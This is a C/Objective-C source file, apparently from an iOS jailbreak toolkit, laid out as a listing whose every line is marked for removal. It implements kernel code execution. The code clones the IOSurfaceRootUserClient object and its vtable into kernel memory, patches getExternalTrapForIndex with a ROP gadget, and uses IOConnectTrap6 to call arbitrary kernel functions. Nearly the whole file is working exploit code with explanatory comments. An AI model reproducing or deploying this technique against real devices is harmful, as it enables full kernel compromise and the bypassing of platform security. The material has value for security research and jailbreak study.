123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112 |
- #include <pthread.h>
- #include <Foundation/Foundation.h>
- #include "kmem.h"
- #include "kexecute.h"
- #include "../kern_utils.h"
- #include "offsetof.h"
- #include "patchfinder64.h"
- mach_port_t prepare_user_client(void) {
- kern_return_t err;
- mach_port_t user_client;
- io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
- if (service == IO_OBJECT_NULL){
- printf(" [-] unable to find service\n");
- exit(EXIT_FAILURE);
- }
-
- err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
- if (err != KERN_SUCCESS){
- printf(" [-] unable to get user client connection\n");
- exit(EXIT_FAILURE);
- }
-
- printf("got user client: 0x%x\n", user_client);
- return user_client;
- }
- pthread_mutex_t kexecute_lock;
- static mach_port_t user_client;
- static uint64_t IOSurfaceRootUserClient_port;
- static uint64_t IOSurfaceRootUserClient_addr;
- static uint64_t fake_vtable;
- static uint64_t fake_client;
- const int fake_kalloc_size = 0x1000;
- void init_kexecute(void) {
- user_client = prepare_user_client();
-
- // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
- IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address
- if (IOSurfaceRootUserClient_port <= 0) {
- NSLog(@"error calling find_port whilst initializing kexecute!");
- return;
- }
-
- IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
-
- uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
-
- // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
- // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
-
- // Create the vtable in the kernel memory, then copy the existing vtable into there
- fake_vtable = kalloc(fake_kalloc_size);
-
- for (int i = 0; i < 0x200; i++) {
- wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
- }
-
- // Create the fake user client
- fake_client = kalloc(fake_kalloc_size);
-
- for (int i = 0; i < 0x200; i++) {
- wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
- }
-
- // Write our fake vtable into the fake user client
- wk64(fake_client, fake_vtable);
-
- // Replace the user client with ours
- wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);
-
- // Now the userclient port we have will look into our fake user client rather than the old one
-
- // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
- wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());
-
- pthread_mutex_init(&kexecute_lock, NULL);
- }
- void term_kexecute(void) {
- wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
- kfree(fake_vtable, fake_kalloc_size);
- kfree(fake_client, fake_kalloc_size);
- }
- uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
- pthread_mutex_lock(&kexecute_lock);
-
- // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
- // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
- // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
- // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
- // through like normal.
-
- // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
- // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
- // (i'm not actually sure if the switch back is necessary but meh)
-
- uint64_t offx20 = rk64(fake_client+0x40);
- uint64_t offx28 = rk64(fake_client+0x48);
- wk64(fake_client+0x40, x0);
- wk64(fake_client+0x48, addr);
- uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
- wk64(fake_client+0x40, offx20);
- wk64(fake_client+0x48, offx28);
-
- pthread_mutex_unlock(&kexecute_lock);
-
- return returnval;
- }
|